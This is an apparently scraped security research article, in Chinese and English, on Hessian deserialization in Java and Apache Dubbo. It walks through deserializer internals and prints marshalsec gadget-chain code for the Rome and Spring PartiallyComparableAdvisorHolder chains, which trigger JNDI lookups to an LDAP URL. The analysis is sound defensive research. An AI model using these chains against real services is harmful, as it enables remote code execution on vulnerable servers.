//反序列化时HashMap.hash会被调用，触发EqualsBean.hashCode->EqualsBean.beanHashCode
EqualsBean root = new EqualsBean(ToStringBean.class, item);

//HashMap.put->HashMap.putVal->HashMap.hash
HashMap&lt;Object, Object> s = new HashMap&lt;>();
Reflections.setFieldValue(s, "size", 2);
Class&lt;?> nodeC;
try {
    nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
    nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor&lt;?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);

//反序列化时ToStringBean.toString()会被调用，触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup

String jndiUrl = "ldap://localhost:1389/obj";

JdbcRowSetImpl rs = new JdbcRowSetImpl();

rs.setDataSourceName(jndiUrl);

rs.setMatchColumn("foo");

//反序列化时EqualsBean.beanHashCode会被调用，触发ToStringBean.toString

ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj);

//反序列化时HashMap.hash会被调用，触发EqualsBean.hashCode->EqualsBean.beanHashCode

EqualsBean root = new EqualsBean(ToStringBean.class, item);

//HashMap.put->HashMap.putVal->HashMap.hash

HashMap<Object, Object> s = new HashMap<>();

Reflections.setFieldValue(s, "size", 2);

Class<?> nodeC;

try {

nodeC = Class.forName("java.util.HashMap$Node");

}

catch ( ClassNotFoundException e ) {

nodeC = Class.forName("java.util.HashMap$Entry");

}

Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);

nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);

Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));

Reflections.setFieldValue(s, "table", tbl);

看下触发过程：

经过HessianInput.readObject()，到了MapDeserializer.readMap(in)进行处理Map类型属性，这里触发了HashMap.put(key,value)：

接着调用了hash方法，其中调用了key.hashCode方法：

接着触发了EqualsBean.hashCode->EqualsBean.beanHashCode：

触发了ToStringBean.toString：

这里调用了JdbcRowSetImpl.getDatabaseMetadata，其中又触发了JdbcRowSetImpl.connect->context.lookup：

小结

通过以上两条链可以看出，在Hessian反序列化中基本都是利用了反序列化处理Map类型时，会触发调用Map.put->Map.putVal->key.hashCode/key.equals->...，后面的一系列出发过程，也都与多态特性有关，有的类属性是Object类型，可以设置为任意类，而在hashCode、equals方法又恰好调用了属性的某些方法进行后续的一系列触发。所以要挖掘这样的利用链，可以直接找有hashCode、equals以及readResolve方法的类，然后人进行判断与构造，不过这个工作量应该很大；或者使用一些利用链挖掘工具，根据需要编写规则进行扫描。

Apache Dubbo反序列化简单分析

Apache Dubbo Http反序列化

先简单看下之前说到的HTTP问题吧，直接用官方提供的samples，其中有一个dubbo-samples-http可以直接拿来用，直接在DemoServiceImpl.sayHello方法中打上断点，在RemoteInvocationSerializingExporter.doReadRemoteInvocation中反序列化了数据，使用的是Java Serialization方式：

抓包看下，很明显的ac ed标志：

Apache Dubbo Dubbo反序列化

同样使用官方提供的dubbo-samples-basic，默认Dubbo hessian2协议，Dubbo对hessian2进行了魔改，不过大体结构还是差不多，在MapDeserializer.readMap是依然与Hessian类似：

参考

本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1131/

作者：江 | Categories:技术分享 | Tags: 利用链、反序列化

没有评论

Hessian deserialization and related gadget chains

2020-11-02

Author：Longofo@Knownsec 404 Team
Time: February 20, 2020
Chinese version: https://paper.seebug.org/1131/

Not long ago, there was a vulnerability about Apache Dubbo Http deserialization. It was originally a normal function (it can be verified that it is indeed a normal function instead of an unexpected Post by calling the packet capture normally),the serialized data is transmitted via Post for remote calls,but if Post passes malicious serialized data, it can be used maliciously. Apache Dubbo also supports many protocols, such as Dubbo (Dubbo Hessian2), Hessian (including Hessian and Hessian2, where Hessian2 and Dubbo Hessian2 are not same), Rmi, Http, etc. Apache Dubbo is a remote call framework. Since the remote call of Http mode transmits serialized data, other protocols may also have similar problems, such as Rmi, Hessian, etc. I haven't analyzed a deserialization component processing flow completely before, just take this opportunity to look at the Hessian serialization, deserialization process, and marshalsec Several gadget chains for Hessian in the tool.

About serialization/deserialization mechanism

Serialization/deserialization mechanism(also called marshalling/unmarshalling mechanism, marshalling/unmarshalling has a wider meaning than serialization/deserialization), refer to marshalsec.pdf, the serialization/deserialization mechanism can be roughly divided into two categories:

Based on Bean attribute access mechanism
Based on Field mechanism

Based on Bean attribute access mechanism

SnakeYAML
jYAML
YamlBeans
Apache Flex BlazeDS
Red5 IO AMF
Jackson
Castor
Java XMLDecoder
...

The most basic difference between them is how to set the property value on the object. They have common points and also have their own unique processing methods. Some automatically call getter (xxx) and setter (xxx) to access object properties through reflection, and some need to call the default Constructor, and some processors (referring to those listed above) deserialized objects If some methods of the class object also meet certain requirements set by themselves, they will be automatically called. There also have a XML Decoder processor that can call any method of an object. When some processors support polymorphism, for example, a certain property of an object is of type Object, Interface, abstract, etc. In order to be completely restored during deserialization, specific type information needs to be written. At this time, you can specify For more classes, certain methods of concrete class objects are automatically called when deserializing to set the property values of these objects. The attack surface of this mechanism is larger than the attack surface based on the Field mechanism because they automatically call more methods and automatically call methods when they support polymorphic features than the Field mechanism.

Based on Field mechanism

The field-based mechanism is implemented by special native methods (native methods are not implemented in java code, so it won't call more java methods such as getter and setter like Bean mechanism.) are invoked like the Bean mechanism. The mechanism of the assignment operation is not to assign attributes to the property through getters and setters (some processors below can also support the Bean mechanism if they are specially specified or configured). The payload in ysoserial is based on Java Serialization. Marshalsec supports multiple types, including the ones listed above and the ones listed below：

Java Serialization
Kryo
Hessian
json-io
X Stream
...

As far as method made by objects are concerned, field-based mechanisms often do not constitute an attack surface. In addition, many collections, Maps, and other types cannot be transmitted/stored using their runtime representation(for example, Map, which stores information such as the hashcode of the object at runtime, but does not save this information when storing), which means All field-based marshallers bundle custom converters for certain types (for example, there is a dedicated MapSerializer converter in Hessian). These converters or their respective target types must usually call methods on the object provided by the attacker. For example, in Hessian, if the map type is deserialized, MapDeserializer is called to process the map. During this time, the map put method is called, it will calculate the hash of the recovered object and cause a hashcode call (here the call to the hashcode method is to say that the method on the object provided by the attacker must be called). According to the actual situation, the hashcode method may trigger subsequent other method calls .

Hessian Introduction

Hessian is a binary web service protocol. It has officially implemented multiple languages such as Java, Flash / Flex, Python, C ++, .NET C #, etc. Hessian, Axis, and XFire can implement remote method invocation of web services. The difference is that Hessian is a binary protocol and Axis and X Fire are SOAP protocols. Therefore, Hessian is far superior to the latter two in terms of performance, and Hessian JAVA is very simple to use. It uses the Java language interface to define remote objects and integrates serialization/deserialization and RMI functions. This article mainly explains serialization/deserialization of Hessian.

Here is a simple test of Hessian Serialization and Java Serialization:

//Student.java
import java.io.Serializable;

public class Student implements Serializable {
    private static final long serialVersionUID = 1L;
    private int id;
    private String name;
    private transient String gender;

    public int getId() {
        System.out.println("Student getId call");
        return id;
    }

    public void setId(int id) {
        System.out.println("Student setId call");
        this.id = id;
    }

    public String getName() {
        System.out.println("Student getName call");
        return name;
    }

    public void setName(String name) {
        System.out.println("Student setName call");
        this.name = name;
    }

    public String getGender() {
        System.out.println("Student getGender call");
        return gender;
    }

    public void setGender(String gender) {
        System.out.println("Student setGender call");
        this.gender = gender;
    }

    public Student() {
        System.out.println("Student default constractor call");
    }

    public Student(int id, String name, String gender) {
        this.id = id;
        this.name = name;
        this.gender = gender;
    }

    @Override
    public String toString() {
        return "Student(id=" + id + ",name=" + name + ",gender=" + gender + ")";
    }
}

//Student.java

import java.io.Serializable;

public class Student implements Serializable {

private static final long serialVersionUID = 1L;

private int id;

private String name;

private transient String gender;

public int getId() {

System.out.println("Student getId call");

return id;

}

public void setId(int id) {

System.out.println("Student setId call");

this.id = id;

}

public String getName() {

System.out.println("Student getName call");

return name;

}

public void setName(String name) {

System.out.println("Student setName call");

this.name = name;

}

public String getGender() {

System.out.println("Student getGender call");

return gender;

}

public void setGender(String gender) {

System.out.println("Student setGender call");

this.gender = gender;

}

public Student() {

System.out.println("Student default constractor call");

}

public Student(int id, String name, String gender) {

this.id = id;

this.name = name;

this.gender = gender;

}

@Override

public String toString() {

return "Student(id=" + id + ",name=" + name + ",gender=" + gender + ")";

}

//HJSerializationTest.java
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class HJSerializationTest {
    public static &lt;T> byte[] hserialize(T t) {
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            HessianOutput output = new HessianOutput(os);
            output.writeObject(t);
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static &lt;T> T hdeserialize(byte[] data) {
        if (data == null) {
            return null;
        }
        Object result = null;
        try {
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            HessianInput input = new HessianInput(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return (T) result;
    }

    public static &lt;T> byte[] jdkSerialize(T t) {
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            ObjectOutputStream output = new ObjectOutputStream(os);
            output.writeObject(t);
            output.flush();
            output.close();
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static &lt;T> T jdkDeserialize(byte[] data) {
        if (data == null) {
            return null;
        }
        Object result = null;
        try {
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            ObjectInputStream input = new ObjectInputStream(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return (T) result;
    }

    public static void main(String[] args) {
        Student stu = new Student(1, "hessian", "boy");

        long htime1 = System.currentTimeMillis();
        byte[] hdata = hserialize(stu);
        long htime2 = System.currentTimeMillis();
        System.out.println("hessian serialize result length = " + hdata.length + "," + "cost time：" + (htime2 - htime1));

        long htime3 = System.currentTimeMillis();
        Student hstudent = hdeserialize(hdata);
        long htime4 = System.currentTimeMillis();
        System.out.println("hessian deserialize result：" + hstudent + "," + "cost time：" + (htime4 - htime3));
        System.out.println();

        long jtime1 = System.currentTimeMillis();
        byte[] jdata = jdkSerialize(stu);
        long jtime2 = System.currentTimeMillis();
        System.out.println("jdk serialize result length = " + jdata.length + "," + "cost time：" + (jtime2 - jtime1));

        long jtime3 = System.currentTimeMillis();
        Student jstudent = jdkDeserialize(jdata);
        long jtime4 = System.currentTimeMillis();
        System.out.println("jdk deserialize result：" + jstudent + "," + "cost time：" + (jtime4 - jtime3));
    }
}

//HJSerializationTest.java

import com.caucho.hessian.io.HessianInput;

import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

public class HJSerializationTest {

public static <T> byte[] hserialize(T t) {

byte[] data = null;

try {

ByteArrayOutputStream os = new ByteArrayOutputStream();

HessianOutput output = new HessianOutput(os);

output.writeObject(t);

data = os.toByteArray();

} catch (Exception e) {

e.printStackTrace();

}

return data;

}

public static <T> T hdeserialize(byte[] data) {

if (data == null) {

return null;

}

Object result = null;

try {

ByteArrayInputStream is = new ByteArrayInputStream(data);

HessianInput input = new HessianInput(is);

result = input.readObject();

} catch (Exception e) {

e.printStackTrace();

}

return (T) result;

}

public static <T> byte[] jdkSerialize(T t) {

byte[] data = null;

try {

ByteArrayOutputStream os = new ByteArrayOutputStream();

ObjectOutputStream output = new ObjectOutputStream(os);

output.writeObject(t);

output.flush();

output.close();

data = os.toByteArray();

} catch (Exception e) {

e.printStackTrace();

}

return data;

}

public static <T> T jdkDeserialize(byte[] data) {

if (data == null) {

return null;

}

Object result = null;

try {

ByteArrayInputStream is = new ByteArrayInputStream(data);

ObjectInputStream input = new ObjectInputStream(is);

result = input.readObject();

} catch (Exception e) {

e.printStackTrace();

}

return (T) result;

}

public static void main(String[] args) {

Student stu = new Student(1, "hessian", "boy");

long htime1 = System.currentTimeMillis();

byte[] hdata = hserialize(stu);

long htime2 = System.currentTimeMillis();

System.out.println("hessian serialize result length = " + hdata.length + "," + "cost time：" + (htime2 - htime1));

long htime3 = System.currentTimeMillis();

Student hstudent = hdeserialize(hdata);

long htime4 = System.currentTimeMillis();

System.out.println("hessian deserialize result：" + hstudent + "," + "cost time：" + (htime4 - htime3));

System.out.println();

long jtime1 = System.currentTimeMillis();

byte[] jdata = jdkSerialize(stu);

long jtime2 = System.currentTimeMillis();

System.out.println("jdk serialize result length = " + jdata.length + "," + "cost time：" + (jtime2 - jtime1));

long jtime3 = System.currentTimeMillis();

Student jstudent = jdkDeserialize(jdata);

long jtime4 = System.currentTimeMillis();

System.out.println("jdk deserialize result：" + jstudent + "," + "cost time：" + (jtime4 - jtime3));

}

The results are as follows:

hessian serialize result length = 64,cost time：45
hessian deserialize result：Student(id=1,name=hessian,gender=null),cost time：3

jdk serialize result length = 100,cost time：5
jdk deserialize result：Student(id=1,name=hessian,gender=null),cost time：43

hessian serialize result length = 64,cost time：45

hessian deserialize result：Student(id=1,name=hessian,gender=null),cost time：3

jdk serialize result length = 100,cost time：5

jdk deserialize result：Student(id=1,name=hessian,gender=null),cost time：43

Through this test, it can be easily seen that Hessian deserialization takes less space than JDK deserialization results. Hessian serialization takes longer than JDK serialization, but Hessian deserialization is fast. And both are based on the Field mechanism, no getter and setter methods are called, and the constructor is not called during deserialization.

Hessian concept map

The following are the conceptual diagrams commonly used in the analysis of Hessian on the Internet. In the new version, these are the overall structures, and I Just use it directly:

Serializer: Serialized interface
Deserializer: deserializer interface
Abstract Hessian Input: Hessian custom input stream, providing corresponding read various types of methods
Abstract Hessian Output: Hessian custom output stream, providing corresponding write various types of methods
Abstract Serializer Factory
Serializer Factory: Standard implementation of Hessian serialization factory
ExtSerializer Factory: You can set a custom serialization mechanism, which can be extended through this Factory
Bean Serializer Factory: Force the serialization mechanism of the Serializer Factory's default object to be specified, and specify to use the Bean Serializer to process the object

Hessian Serializer/Derializer implements the following serializers/deserializers by default. Users can also customize serializers/deserializers through interfaces/abstract classes:

When serializing, it will select the corresponding serialization according to different types of objects and attributes for serialization; when deserializing, it will also select different deserializers according to different types of objects and attributes; each type of serializer also has specific Field Serializer. Note here that Java Serializer/Java Deserializer and Bean Serializer/Bean Deserializer are not type serializers/deserializers, but belong to mechanism serializers/deserializers:

Java Serializer: Get all bean properties for serialization by reflection, exclude static and transient properties, and perform recursive serialization on all other properties (such as the property itself is an object)
Bean Serializer follows the conventions of pojo beans, scans all the methods of the bean, and finds that the properties of the get and set methods are serialized. It does not directly manipulate all the properties, which is gentle.

Hessian deserialization process

Here a demo is used for debugging. The Student property contains String, int, List, Map, Object type properties, and the property setter and getter methods are added, as well as the read Resovle, finalize, to String, hash Code methods, and The output was carried out for easy observation. Although it will not cover all the logic of Hessian, we can roughly see its appearance:

//people.java
public class People {
    int id;
    String name;

    public int getId() {
        System.out.println("Student getId call");
        return id;
    }

    public void setId(int id) {
        System.out.println("Student setId call");
        this.id = id;
    }

    public String getName() {
        System.out.println("Student getName call");
        return name;
    }

    public void setName(String name) {
        System.out.println("Student setName call");
        this.name = name;
    }
}

//people.java

public class People {

int id;

String name;

public int getId() {

System.out.println("Student getId call");

return id;

}

public void setId(int id) {

System.out.println("Student setId call");

this.id = id;

}

public String getName() {

System.out.println("Student getName call");

return name;

}

public void setName(String name) {

System.out.println("Student setName call");

this.name = name;

}

//SerialTest.java
public class SerialTest {

    public static &lt;T> byte[] serialize(T t) {
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            HessianOutput output = new HessianOutput(os);
            output.writeObject(t);
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static &lt;T> T deserialize(byte[] data) {
        if (data == null) {
            return null;
        }
        Object result = null;
        try {
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            HessianInput input = new HessianInput(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return (T) result;
    }

    public static void main(String[] args) {
        int id = 111;
        String name = "hessian";
        String gender = "boy";

        Map innerMap = new HashMap&lt;String, Class&lt;Object>>();
        innerMap.put("1", ObjectInputStream.class);
        innerMap.put("2", SQLData.class);

        Student friend = new Student(222, "hessian1", "boy");
        List friends = new ArrayList&lt;Student>();
        friends.add(friend);

        Student stu = new Student();
        stu.setId(id);
        stu.setName(name);
        stu.setGender(gender);
        stu.setInnerMap(innerMap);
        stu.setFriends(friends);

        System.out.println("---------------hessian serialize----------------");
        byte[] obj = serialize(stu);
        System.out.println(new String(obj));

        System.out.println("---------------hessian deserialize--------------");
        Student student = deserialize(obj);
        System.out.println(student);
    }
}

//SerialTest.java

public class SerialTest {

public static <T> byte[] serialize(T t) {

byte[] data = null;

try {

ByteArrayOutputStream os = new ByteArrayOutputStream();

HessianOutput output = new HessianOutput(os);

output.writeObject(t);

data = os.toByteArray();

} catch (Exception e) {

e.printStackTrace();

}

return data;

}

public static <T> T deserialize(byte[] data) {

if (data == null) {

return null;

}

Object result = null;

try {

ByteArrayInputStream is = new ByteArrayInputStream(data);

HessianInput input = new HessianInput(is);

result = input.readObject();

} catch (Exception e) {

e.printStackTrace();

}

return (T) result;

}

public static void main(String[] args) {

int id = 111;

String name = "hessian";

String gender = "boy";

Map innerMap = new HashMap<String, Class<Object>>();

innerMap.put("1", ObjectInputStream.class);

innerMap.put("2", SQLData.class);

Student friend = new Student(222, "hessian1", "boy");

List friends = new ArrayList<Student>();

friends.add(friend);

Student stu = new Student();

stu.setId(id);

stu.setName(name);

stu.setGender(gender);

stu.setInnerMap(innerMap);

stu.setFriends(friends);

System.out.println("---------------hessian serialize----------------");

byte[] obj = serialize(stu);

System.out.println(new String(obj));

System.out.println("---------------hessian deserialize--------------");

Student student = deserialize(obj);

System.out.println(student);

}

The following is the general appearance of Hessian's processing during deserialization drawn after debugging the above demo. (The picture is not clear, you can click this link):

The following details are explained by debugging to some key positions.

Get target type deserializer

First enter Hessian Input,read Object () to read the tag type identifier. Since Hessian serializes the result into a Map, the first tag is always M (ascii 77):

In the processing of case 77, the type to be deserialized is read, then this._serializerFactory.readMap (in, type)is called for processing. By default, Hessian standard used by _serializer Factory implements Serializer Factory:

First get the corresponding Deserializer of this type, then call the corresponding Deserializer.readMap (in) for processing, and see how to get the corresponding Derserializer:

The first red box mainly determines whether a deserializer of this type is cached in _cacheTypeDeserializerMap; the second red box mainly determines whether a deserializer of this type is cached in_staticTypeMap, _staticTypeMap mainly stores the basic type and the corresponding deserializer; the third red box determines whether it is an array type, and if so, enters the array type processing; the fourth obtains the Class corresponding to the type, and enters this .getDeserializer(Class) gets the Deserializer corresponding to this class, this example enters the fourth:

Here it again judged whether it is in the cache, but this time it used _cacheDeserializerMap, whose type is ConcurrentHashMap, and before that it was _cacheTypeDeserializerMap, and the type was HashMap. This may be to solve the problem of obtaining in multithread . This example enters the second this.loadDeserializer(Class):

The first red box is to traverse the Serializer Factory set by the user and try to get the Serializer corresponding to the type from each factory; the second red box tries to get the Serializer corresponding to the type from the context factory; the third red box Try to create a context factory and try to get a custom deserializer of this type, and the deserializer corresponding to this type needs to be similar to xxxHessianDeserializer, where xxx indicates the class name of the type; the fourth red box is judged in turn, If not match, then use getDefaultDeserializer (Class),. This example is the fourth:

_isEnableUnsafeSerializer is true by default. The determination of this value is first determined based on whether the the unsafe field of sun.misc.Unsafe is empty, and the unsafe field ofsun.misc.Unsafe is initialized in the static code block by default and Not empty, so it is true; then it will also be based on whether the system property com.caucho.hessian.unsafe is false. If it is false, the value determined by sun.misc.Unsafe is ignored, but the system property com. caucho.hessian.unsafe is null by default, so it won't replace the result of ture. Therefore, the value of _isEnableUnsafeSerializer is true by default, so the above figure defaults to the UnsafeDeserializer used, and enters its constructor.

Get deserializer of each attribute of target type

Here all the properties of the type are obtained and the corresponding FieldDeserializer is determined. It is also determined whether there is a ReadResolve () method in the class of the type. Let's first see how the type property and FieldDeserializer determine:

Get the properties of this type and all parent classes, determine the FIeld Deserializer of the corresponding properties in turn, and the properties cannot be transient or static modified properties. The following is the Field Deserializer that determines the corresponding properties in turn. Some Field Deserializers are customized in Unsafe Deserializer.

Determine if the target type has a read Resolve() method defined

Then in the above Unsafe Deserializer constructor, it will also determine whether there is a readResolve() method in a class of this type:

Iterate through all the methods in this class to determine if there is a readResolve() method.

Okay, after that the acquired Deserializer are returned in the original way. In this example, the class uses Unsafe Deserializer, and then returns to SerializerFactory.readMap (in, type) and calls UnsafeDeserializer.readMap (in):

So far, the deserializer UnsafeDeserializer of thecom.longofo.deserialize.Student class in this example is obtained, and the Field Serializer corresponding to each field is defined. At the same time, the readResolve() method is defined in the Student class, so got the readResolve()method of this class.

Assigning object to target type

Next, an object is assigned to the target type:

An instance of this class is allocated via _unsafe.allocateInstance (classType). This method is a native method in sun.misc.Unsafe. Assigning an instance object to this class does not trigger a constructor call. The attributes are now just given the JDK default values.

Recovery of target type object attribute values

The next step is to restore the attribute values of the target type object:

Into the loop, first call in.readObject () to get the attribute name from the input stream, then match the Field Deserizlizer corresponding to the attribute from the previously determined this._fieldMap, and then call Field Deserializer on the match to process. The serialized attributes in this example are inner Map (Map type), name (String type), id (int type), and friends (List type). Here we take the inner Map attribute recovery as an example.

Take Inner Map attribute recovery as an example

The Field Deserializer corresponding to the inner Map is UnsafeDeserializer$ ObjectFieldDeserializer:

First call in.readObject (fieldClassType) to get the property value from the input stream, and then call _unsafe.putObject, the native method insun.misc.Unsafe, and will not trigger the getter and setter methods. Here's how to deal with in.readObject (fieldClassType):

Here Map type uses Map Deserializer, correspondingly calling MapDeserializer.readMap (in)method to restore a Map object:

Note the several judgments here. If it is a Map interface type, Hash Map is used. If it is a Sorted Map type, Tree Map is used. Other Maps will call the corresponding default constructor. In this example, because it is a Map interface type, Hash Map is used. Next comes the classic scenario. First use in.readObject() (this process is similar to the previous one and will not be repeated). The map's key and value objects in the serialized data are restored, and then call map.put (key, value), here is Hash Map, the put method of Hash Map will call hash(key) to trigger thekey.hashCode() method of key object, and put Val will be called in put method, and put Val will Call the key.equals (obj) method of the key object. After processing all keys and values, return to UnsafeDeserializer$ObjectFieldDeserializer:

Use the native method _unsafe.putObject to complete the inner Map property assignment of the object.

Analysis of several Hessian gadget chains

In the marshalsec tool, there are several chains available for Hessian deserialization:

Rome
X Bean
Resin
Spring Partially Comparable Advisor Holder
Spring Abstract Bean Factory Pointcu tAdvisor

Let‘s analyze two of them, Rome and Spring Partially Comparable Advisor Holder. Rome is triggered by HashMap.put->key.hashCode, and Spring Partially Comparable Advisor Holder is triggered by HashMap.put->key.equals. Several others are similar, either using hash Code or equals.

SpringPartiallyComparableAdvisorHolder

There are all corresponding Gadget Tests in marshalsec, which is very convenient:

To make it clearer, I extracted SpringPartiallyComparableAdvisorHolder gadget chain from marshalsec:

String jndiUrl = "ldap://localhost:1389/obj";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);

//BeanFactoryAspectInstanceFactory.getOrder is called when deserializing，it Will trigger the call SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());

//AspectJAroundAdvice.getOrder is called when deserializing，it will trigger the call BeanFactoryAspectInstanceFactory.getOrder
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
Reflections.setFieldValue(aif, "name", jndiUrl);

//AspectJPointcutAdvisor.getOrder is called when deserializing, it will trigger the call AspectJAroundAdvice.getOrder
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);

//PartiallyComparableAdvisorHolder.toString is called when deserializing, it will trigger the call AspectJPointcutAdvisor.getOrder
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice);

//Xstring.equals is called when deserializing, it will trigger the call PartiallyComparableAdvisorHolder.toString
Class&lt;?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = Reflections.createWithoutConstructor(pcahCl);
Reflections.setFieldValue(pcah, "advisor", advisor);

//HotSwappableTargetSource.equals is called when deserializing, it will trigger the call Xstring.equals
HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(Xstring("xxx"));

//HashMap.putVal is called when deserializing, it will trigger the call HotSwappableTargetSource.equals. There is no direct use of the HashMap.put setting value. Direct put will trigger the utilization chain locally, so using marshalsec uses a more special processing method.
HashMap&lt;Object, Object> s = new HashMap&lt;>();
Reflections.setFieldValue(s, "size", 2);
Class&lt;?> nodeC;
try {
    nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
    nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor&lt;?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);

String jndiUrl = "ldap://localhost:1389/obj";

SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();

bf.setShareableResources(jndiUrl);

//BeanFactoryAspectInstanceFactory.getOrder is called when deserializing，it Will trigger the call SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup

Reflections.setFieldValue(bf, "logger", new NoOpLog());

Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());

//AspectJAroundAdvice.getOrder is called when deserializing，it will trigger the call BeanFactoryAspectInstanceFactory.getOrder

AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);

Reflections.setFieldValue(aif, "beanFactory", bf);

Reflections.setFieldValue(aif, "name", jndiUrl);

//AspectJPointcutAdvisor.getOrder is called when deserializing, it will trigger the call AspectJAroundAdvice.getOrder

AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);

Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);

//PartiallyComparableAdvisorHolder.toString is called when deserializing, it will trigger the call AspectJPointcutAdvisor.getOrder

AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);

Reflections.setFieldValue(advisor, "advice", advice);

//Xstring.equals is called when deserializing, it will trigger the call PartiallyComparableAdvisorHolder.toString

Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");

Object pcah = Reflections.createWithoutConstructor(pcahCl);

Reflections.setFieldValue(pcah, "advisor", advisor);

//HotSwappableTargetSource.equals is called when deserializing, it will trigger the call Xstring.equals

HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);

HotSwappableTargetSource v2 = new HotSwappableTargetSource(Xstring("xxx"));

//HashMap.putVal is called when deserializing, it will trigger the call HotSwappableTargetSource.equals. There is no direct use of the HashMap.put setting value. Direct put will trigger the utilization chain locally, so using marshalsec uses a more special processing method.

HashMap<Object, Object> s = new HashMap<>();

Reflections.setFieldValue(s, "size", 2);

Class<?> nodeC;

try {

nodeC = Class.forName("java.util.HashMap$Node");

}

catch ( ClassNotFoundException e ) {

nodeC = Class.forName("java.util.HashMap$Entry");

}

Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);

nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);

Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));

Reflections.setFieldValue(s, "table", tbl);

Look at the following trigger process:

After HessianInput.readObject(), it comes to MapDeserializer.readMap (in) to process Map type attributes, which triggers HashMap.put (key, value):

HashMap.put has called theHashMap.putVal method, and the key.equals(k) method will be triggered on the second put:

At this time, key and k are as follows, both are Hot Swappable Target Source objects:

Enter HotSwappableTargetSource.equals:

In HotSwappableTargetSource.equals, the respective target.equals method is triggered, that is, XString.equals(PartiallyComparableAdvisorHolder):

PartiallyComparableAdvisorHolder.toString is triggered here:

Triggered AspectJPointcutAdvisor.getOrder:

触发了AspectJAroundAdvice.getOrder：

Here trigger BeanFactoryAspectInstanceFactory.getOrder:

This triggered SimpleJndiBeanFactory.getTYpe->SimpleJndiBeanFactory.doGetType-> SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup-> JndiTemplate.lookup->Context.lookup:

Rome

Rome is relatively simple to trigger:

Like above, I extracted the gadget chain:

//ToStringBean.toString() is called when deserializing，it will trigger the call JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup
String jndiUrl = "ldap://localhost:1389/obj";
